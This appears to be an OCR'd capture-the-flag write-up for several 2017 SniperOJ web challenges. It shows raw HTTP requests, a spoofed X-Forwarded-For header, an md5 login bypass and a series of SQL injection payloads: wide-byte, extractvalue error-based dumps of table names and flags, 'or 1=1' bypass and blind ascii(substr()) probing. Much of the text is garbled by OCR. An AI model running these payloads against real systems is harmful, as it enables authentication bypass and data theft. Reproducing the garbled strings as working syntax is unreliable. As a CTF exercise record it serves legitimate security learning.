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SniperOJ-Web-Browser
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You must use [ ] to view this page! Other web broswer will be denied!
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J Raw ‘ Headers ‘ Hex | J Raw ‘ Headers | Hex ‘

GET / HTTF/1.1 A HTTF/1.1 200 OK

Host: web2. snipercj.cn:10005 i Date: Sun, 30 Apr 2017 12:03:10 GNT
Cache—Control : max—age=0 Server: Apache/2. 4.18 (Ubuntu)
Upegrade—Insecure-Requests: 1 Content-Length: 54

User—Agent: Sniper0J-Web-Broswer Commection: close

Accept:

Content-Type: text/html; charset=UTF-8
text/html, application/zhtnl+znl, application/xnl;q=0. 9, inage/webp, */*; g=0. &

Accept—Encoding: gzip, deflate, sdch
Aeccept-Language: zh—CN, zh: q=0. 8
Connection: close

Go away! Attacker! This page is only for local client!
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Go away! Attacker! This page is only for local client!

F]FHModify Headers ¥ & i/j 1]

Add  X-Forwarded-For 127.0.0.1 11"
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Only port 2333
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md5-vs-injection
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Login as admin, plz!

Username : | |
Password : | |
RrE
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| URL | iR
= POST index.php 200 OK
34EE Post R HTML £55 Cookies
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Connection
Content-Encoding
Content-Length
Content-Type
Date

Keep-Alive

Server

Set-Cookie

Vary
X-Powered-By

Keep—Alive

gzip

261

text/html

Sun, 30 Apr 2017 13:38:33 GMT
timeout=3, max=99

Apache/2. 4.7 (Ubuntu)

hint=select+h2A+fromtuser s+wheretusername%3D%2Tadmin%2 T+and+passwor d430%2 Tmd5%28%24passwor d%2C+truek2d

%27
Accept—-Encoding
PHP/5. 5. 9-1lubuntud. 21

web.sniperoj.cn: 10004 123.207.114.37:10004
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Login success!

Login as admin, plz!

Username : |

Password : |
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=#lss HTML CS5 @A DOM | WM& v Cookies
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| URL
= POST index.php

| s | | Kl e IP
200 OK web.sniperoj.cn: 10004 239B 123.207.114.37:10004

3A(EE Post NI HTML #F Cookies
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Connection
Content-Encoding
Content-Length
Content-Type
Date

Keep-Alive

Server

Set-Cookie

Vary
X-Powered-By
flag

Keep-Alive

gzip

239

text/html

Sun, 30 Apr 2017 13:45:58 GMT
timeout=5, max=100

Apache/2.4. T (Ubuntu)
hint=select+4%ZA+fromtusers+where+username%iD%2 Tadmin%2T+and+passwor d%3D%2 Tmd5%28%24passwor d%2C+truek2d
%27
flag=Sniper0J%7Bmd5_V5_injection®7D
Accept—Encoding

PHP/3. 5. 9-lubuntu4. 21

Sniper0] {md5_V5_injection}

flag: Sniper03{md5_V5_injection}

php-weak-type
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as fast as you can

Expires Thu, 1f GMT

Get-flag 3
Hint ' - s [Sniper0]
Keep-Alive

you cen, then vour will get flag
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very-hard-injection
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http://web2.sniperoj.cn:10003/
Incorrect table name "
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@ Load URL | http://web2.sniperoj.cn:10003,/?table=1
% split URL

Execute

[ ] Enable Post data [_| Enable Referrer
@=mE~ AcCookies¥ » CSSv [J=2~ @EEL~ @REEE- =i

http://web2.sniperoj.cn:10003/
Table 'Sniper0J.1" doesn't exist

ML R R T, 15195 table=users

@ Load URL | http://web2.sniperoj.cn:10003/?table=users
% split URL

» Execute

[ ] Enable Post data [_] Enable Referrer
@2x=mE> ACookies¥ » CSSv [J=m~ @WEA~ @REEE [ =1iblha:

http://web2.sniperoj.cn:10003/
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@ Load URL | http://web2.sniperoj.cn:10003/?table=users%df'
% split URL

’ Execute

[ ] Enable Post data [_] Enable Referrer
@z~ ACookiesv 2 Cssv [l=m~ @AK~ ORIES~ H=fIha |

http://web2.sniperoj.cn:10003/
Table 'SniperOJ.users@\" doesn't exist
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& Load URL http://web2. sniperoj.(n:10003/7table:users‘
§ spliture

D Execute

[ Enable Post data ] Enable Referrer
@/~ AcCookiesv £ CSSv [Awsa~ @EA~ @REES- Ewhay Fmoy JExr ATR- SSRGS LEn- O « @

o SEMENER Y, EEREMEAEY ? s

http://web2 sniperoj.cn:10003/
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "="admin’ WHERE id=1" at line 1

A, 2
http://blog.csdn.net/ysynhtt/article/details/45115849

i

@& Load URL | http://web2.sniperoj.cn:10003/?table=users’ join (select extractvalue(1, concat(0x7e, (select @ @version),0x7e)))b join "users™*

% split URL

Execute

[] Enable Post data [ | Enable Referrer

@z~ &AcCookiesv # Cssv A==~ @EE~ @REEEY Qe Jimcy S ATSY mESFEREY LNEEY O ¢« @

http://web2.sniperoj.cn:10003/
XPATH syntax error: '~5.7.17-Oubuntu0.16.04.2~"

ZIREAT )

@l Load URL | http://web2.sniperoj.cn:10003/?table=users’ join (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7€)))b join "users"

4 spliture

J Execute

[] Enable Post data [] Enable Referrer
@=mA~ &Cockies¥ 2 Cssv [z~ @BEHY ORFES~ @ty Fmdy Sk ATS~ @ESEAS LRFE- O « @

http://web2.sniperoj.cn:10003/
Column 'username’ in field list is ambiguous

Bk

extractvalue( ', concat( , ( group_con


http://blog.csdn.net/ysynhtt/article/details/45115849

Load URL | http://web2.sniperoj.cn:10003/?table=users’ join (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))a)b on b.a="username
% spliturL

@

J Execute

[] Enable Post data [ Enable Referrer

@@y AcCookies™ 2 Cssv (=~ @EA~ @RiEs~ @t Aoy JEnr KR~ WEESFAE- =5 Q « @
http://web2.sniperoj.cn:10003/
XPATH syntax error: '~flagggggg,users~"

BN K4 flagggeeg
Y| % flag

@l Load URL | http://web2.sniperoj.cn:10003/?table=users’ join (select extractvalue(1, concat(0xTe, (select group_concat(column_name) from information_schema.columns where table_name=0x666c61676767676767),0x7e))a)b on b.a="username
% splituRL

) Execute

[] enable Post data  [] Enable Referrer
@z~ LcCookiesw » Cssv [l=m~ @EA~ @RERSY @=missy Jimcy FSanr ATS WEsSERE- 1ah- Q ¢ @
http://web2.sniperoj.cn:10003/
XPATH syntax error: '~id,flag~'

flag
@ Load URL | http://web2.sniperoj.cn:10003/?table=users’ join (select extractvalue(1, concat(0x7e, (select flag from flagggggg),0x7e))a)b on b.a="username
$ split URL

» Execute

[] Enable Post data [ Enable Referrer
@2=m~ &cCookies™ »# CSSv [lxsm~ @ER~ @WREE- Eamhety Jmoy FEmr ATE- m=EEHEREY Lam- Q ¢ @
http://web2.sniperoj.cn:10003/
XPATH syntax error: '~SniperOJ{XXXXXPath Il A}~

inject-again

@ Load URL | http://web2.sniperoj.cn:10004/

§  split URL

’ Execute

[ ] Enable Postdata [_| Enable Referrer
@2~ &ACookiesv £ Cssv [A==~ @

TH~ @REEE~ [
Please input username!
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@l Load URL | http://web2.sniperoj.cn:10004/?username=&password=
% split URL

’ Execute

[ ] Enable Post data [_] Enable Referrer
@=m~ ACookiesv £ Cssv [I=2~ @ER~ ONEES~ B=flng- Ao

Please input username!

Wrdalao$2 7~ /& T-union ) 5 7+

@ Load URL | http://web2.sniperoj.cn:10004/?username="141%23&password=
§ split URL

b Execute

[ ] Enable Post data [_] Enable Referrer
@=m~ AcCookies¥ 2 CSsv [~ @EL~ @RRESE~ Qe Jindy 7%

admin

BRI P 22 admin
2 3] Hi ik :http://wonderkun.cc/index.html/?cat=1&paged=3
HiERA


http://wonderkun.cc/index.html/?cat=1&paged=3
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A

2V : 498C67B7C86B01BD68AB5CBAFD245B1B
FRER

BNEERD - md5

fREEFERY - 40875k

KBEH RS



KT A =AHE, 2R, MR = ulE M — MK S5, RefER— T, AIB A X

X i )
Raw | Params | Headers | Hex

Raw | Headers | Hex

POST /src/API/login. php HITP/1.1

Host: www.sniperoj. cn:10000

User-Agent: Nozilla/5.0 (Windows NT 10.0; WOW64: r1v:53.0) Gecko/20100101
Firefox/53.0

Accept: text/html, application/zhtml+xnl, application/xmnl;q=0.9,*/* g=0.8
Accept-Language: zhCH, zh; ¢=0. 8, en-1US; q=0. 5, en; q=0. 3

Accept-Encoding: gzip, deflate

Content-Type: application/z—www—form—urlencoded

Content-Length: &7

Referer: http://www. sniperocj. cn:10000/1ogin. htnl

Cookie: ci_session=34rlcsp0fkuiufgv]l845£f328acpthinn

Comnection: close

Upgrade—Insecure—Requests: 1

username=1d&password=1dtsubmi t=%FE6%EF%I0%E 4%BA%A 4%E 6% SF4ASHEEHAFHAD

B S A3 AR A — R

Request

Raw | Params | Headers | Hex

L =

HTTP/1.1 200 OK

Date: Thu, 04 May 2017 03:30:48 GNT
Server: Apache/Z2.4.7 (Dbuntw
¥-Powered-By: PHP/S. 5. 9-1lubuntud. 21
Vary: Accept-Encoding

Content-Length: 96

Comnection: close

Content-Type: text/htnl; charset=utf-8

{"status”:
, "userID”: 788", "sex”:"17}

Response

Raw | Headers | Hex

“17, “token” : “35874602330cfb39b0bdbfdi 29443943”, "usertype” : 72"

POST /src/API/login. php HITP/1.1
Host: www. sniperoj. cn:10000

User—Agent: Mozilla/5.0 (Windows NT 10.0; WOW&4; rv:53.0) Gecko/20100101

Firefox/53.0

Accept: text/htnl, application/zhtnl+xnl, application/zmnl; q=0. 9, ®/*; =0.8

Accept-Language: zh-CN, zh;q=0. 8, en-US; g=0. 5, en; q=0. 3
Accept—FEncoding: gzip, deflate

Content-Type: application/z—www—forn—urlencoded
Content-Length: 76

Referer: http://www. sniperoj. cn:10000/1ogin. htnl
Cookie: ci_session=34rlcspOflkuiubgv]845f528aopbhinm
Comnection: close

Upgrade-Insecure-Requests: 1

username=1d" or 1=1%kpassword=1diksubnit=%E&%3F%I0%E4%EA%A 4%E 6% 9F%ASKESHAFHAD

Request

Raw | Params | Headers | Hex

HTTP/1.1 200 QK

Date: Thu, 04 May 2017 03:31:29 GMT
Server: Apache/Z2. 4.7 (Ubuntu)
X-Powered-By: PHP/S. 5. 9-1ubuntud. 21
Content-Length: 36

Comnection: close

Content-Type: text/html; charset=utf-8

e

r
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{"status”:70", "msg”:

Response

Raw | Headers | Hex

POST /src/APT/login. php HTTP/1.1

Host: www. sniperoj. cn:10000

User-Agent: Meozilla/5. 0 (Windows NT 10.0; WOW84: rv:33.0) Gecko/20100101
Firefox/53.0

Accept: text/html, application/xhtnl+mml, application/xmnl;q=0. 9, /% q=0. 8
Accept-Language: zh-Cl, zh; q=0. 8, en-US; g=0. 53, en; g=0. 3

Accept-Encoding: gzip, deflate

Content-Type: application/z—www—forn—urlencoded

Content-Length: T6&

Referer: http://www.sniperoj. cn:10000/login. html

Cookie: ci_session=34rlcsp0flkulubev]1845f528aoptbinm

Comnection: close

Upgrade-InsecureRequests: 1

username=1d" or 1=2%&password=1d&submi t=%E6%3F%I0%E 4%EA%A4%EE%IF%ASHESSAFKAS

O

HTTP/1.1 200 OK

Date: Thu, 04 MNay 2017 03:31:353 GNT
Server: Apache/2. 4 7 (Ubuntw
X-Powered-Bv: PHP/5. 5. 9-lubuntud. 21
Vary: Accept—FEncoding

Content-Length: 96

Comnection: close

Content-Type: text/htnl; charset=utf-§

{"status”:"1", "token” :"c62aeab032225cece8a4b3e896dddcaa”, "usertype” : 72"
, “userID”:788", “sex”:"17}
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POST /src/API/login. php HTTP/1.1 A HTTP/1.1 200 OK

Host: www.snlperoj.cn:10000 1 Date: Thu, 04 May 2017 03:07:41 GNT
User—Agent: Wozilla/5.0 (Windows NT 10.0; WOW84; rv:53.0) Gecko/20100101 Server: Apache/Z. 4.7 (Ubuntu)
Firefox/53.0 ¥~Powered-By: PHF/5. 5. 9—lubuntu4. 21
Afecept: text/htnl, application/zhtml+xnl, application/znl; g=0.9,*/*; ¢=0.8 Content-Length: 36

Aeccept-Language: zh-CN, zh;q=0. 8, en-US; q=0. 5, en; q=0. 3 Cormection: close

Lccept—Encoding: gzip, deflate Content-Type: text/html; charset=utf-8
Content-Type: application/z—www—forn—urlencoded

Content-Length: 194 {"status”:70", "nsg” T INANIR )

Referer: http://www. sniperoj.cn:10000/login. html
Cookie: ci_session=34rlcsp0fkuiubgv]E453f528aopibinm
Comnection: close

Upgrade-Insecure-Requests: 1

usernane=1d or ascii(substr((select group_concat(table_name) /#!{from*/
information_schena. tables where
table_schena=database()), 1, 1))=98%&password=1d&subni t=%F&6%8F%90%E4%EA%A4%E 6% 9F %A
SHESHAF%AZ
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